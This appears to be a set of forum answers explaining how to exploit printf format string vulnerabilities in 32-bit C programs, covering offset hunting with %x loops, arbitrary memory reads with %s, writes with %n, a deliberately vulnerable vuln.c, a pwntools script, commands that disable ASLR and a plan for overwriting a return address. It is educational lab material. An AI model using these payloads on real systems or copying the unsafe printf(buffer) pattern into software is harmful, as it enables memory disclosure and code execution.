It was rather trivial. Modifying the previous example a bit,

for ((i = 1; i < 200; i++)); do echo -n "$i " && ./test "BBAAAACC%x" 0; done | grep 4141

the upper word of location 129 is filled with the B's, and the lower word of location 131 is filled with the C's - with the A's nicely sandwiched in the middle at location 130. So I simply had to pass the address padded with two extra bytes both at the beginning and at the end. I also figured out how to pass the hex values with printf in bash.

To verify it's working, I picked up the address (0xbffffe2c) of a known string "HOME=/home/arman" and passed it as an argument like this:

./test AA$(printf "\x2c\xfe\xff\xbf")AA%130\$s

Bingo! The string is printed like this:

AA,���AAHOME=/home/arman

EDIT: The padding at the beginning is not really required. This works perfectly as well:

./test $(printf "\x2c\xfe\xff\xbf")AA%130\$s
,���AAHOME=/home/arman

Your first try indicates that the pointer is stored in the 5th position.

Simply replace the 5th %08x with a suitable format code, depending on the data in the pointed to location. If flag points to a string, then %s is suitable:

AAAA.%08x.%08x.%08x.%08x.%s.%08x.%08x

Expected output:

AAAA.00000100.080c7020.00000000.1337c0de.<secret message>.deadbeef.41414141

@LiveOverflow helped me figuring out what I couldn't get. Both the assumptions I had were true

1. printf simply prints what ever isn't a '%' and treats in a special way charcters following '%'
2. Formatters (%x, %s, '%n, etc...) ONLY use addresses found on the stack (what I mean is that if we start popping off values using %x, those values will be popped of on the stack as long as valid addresses are available

Now in the code in the question, supplying an address as first argument is not enough, we have to somehow put on the stack the address we want to read/write from/to

example:

vuln.c (gcc -g vuln.c -m32 -o vuln):

#include <stdio.h>

int main (int argc, char ** argv) {

    buffer[32];

    fgets (buffer, sizeof(buffer), stdin);

    printf (buffer);

    return 0;
}

We can do by calling the program with an argument ./vuln AAAA. When asked for input we can insert there our format string. Here's the catch: we have to pop values off until we find our AAAA, after %s would dereference the address AAAA and read a string from there aka leaking an arbitrary address. Writing to an address works in the same exact way.

For the sake of simplicity I compiled it with -g so that I could use the *argv symbol

pwndbg> x/4s *argv
0xffffd258: "/home/ncrntn/vu"...
0xffffd267: "ln"
0xffffd26a: "AAAA"
0xffffd26f: "XDG_CONFIG_DIRS"...

At this point we know where to look at

pwndbg> x/200wx $esp
. . .
0xffffd260: 0x6e746e72  0x6c75762f  0x4141006e  0x58004141
. . .

And we indeed found our AAAA (in hex \x41\x41\x41\x41)

It's a lot of questions, here are a few answers:

How can we write something in memory with a format string vulnerability ?

For this, you need to know two specific features used in the printf format string specifications. First, %n is a format specifier that has the following effect (according to the manual page):

%n The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument. No argument is converted.

Now, the second format string feature will allow us to select a specific argument from the format string. The main selection operator is $, and the following code means that we select the second argument (here the outcome will be to display 2):

printf("%2$x", 1, 2, 3)

But, in the general case, we can do printf("%<some number>$x") to select an arbitrary argument of the current printf function (format string argument does not count).

If we could pass the string AAAA%10$n to the program and make it appear as a format string, then we could write the value 4 to the address 0x41414141.

So, format string bugs may offer a full access to the memory and you can decide what to write and where in the memory.

I really advise you to read "Exploiting Format String Vulnerabilities" from Scut (2001) to get a whole grasp on these kind of manipulations.

Are they other languages than C/C++ that are vulnerable to these bugs ?

Well, format string bugs are tied up to the printf function family and the way format strings may be passed to the function. It's a whole class of security issue itself. So, you might find ways to exploit similar problems in some other languages. Though, you may not find the exact same features as the format string capabilities in other languages may differ a lot.

I do think about languages such as Perl, Python, and so on, that all offer similar access to format string features.

How can I spot format string vulnerabilities if I have only the binary ?

First, you have to locate the calls to procedure of the printf family. Then, I would say that fuzz-testing (fuzzing) should be a good way to find the vulnerabilities. Especially if you can forge a few entries with seeds such as AAAA%10$n.

If you want a more accurate and exhaustive way to find it, you will probably need to do some binary analysis and taint analysis on every call to a procedure of the printf family.

Happy to see people ask about security question here. I think you could take a look of pwntools.

This is a tool for writing exploit. Here is a simple code snippet.

#!/usr/bin/env python2
from pwn import *
# a.out is your executable file
s = process('./a.out')
payload = p32(0xbffff0fc)+"%7$p"
# p32() is a function to pack your integer in little endian order
s.sendline(payload)
s.interactive()

The output will be some unprintable characters plus 0xbffff0fc

▒▒0xbffff0fc

For further explanation, line variable is already on stack. But you have to disable the ASLR protection to make your stack address fixed. Otherwise, every time you execute your program. Your line variable address will be different.

Disable it:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Enable it:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

But, I don't think your problem will be how to write 0xbffff0fc to stack. Your problem should be how to get the variable address of line with ASLR enabled.

Here is the strategy.

1. Leak the ebp of stack frame then you could calculate the address of line variable.(This part is important)

2. Do the same thing of the previous sample exploit.

3. Then, use %n to rewrite return address of function.

If you have question, feel free to ask me.

The answer is simple: your %08x are also in memory!

Did you try decoding the section before the AAA in memory (78383025 30252078 20783830 38302520 25207838 78383025 30252078 00414141)? It's something like 0% x x8080% % x8x80%0% x.AAA after hex decoding. The memory output here is aligned by 4 bytes, but you chose to write 35x5 bytes before your A's, which is 175; 4 does not go evenly into 175. For your second attempt, you did 40x5 == 200, which does evenly divide by 4, hence the correct alignment in your output.

As far as the missing 0x41 goes, I suspect this is a 64-bit system and you are only printing 4 bytes per every 8, so one of them simply isn't being printed. If this is a 64-bit system and you are trying to print the whole 8 bytes, I suggest using %p instead of %08x as a format specifier.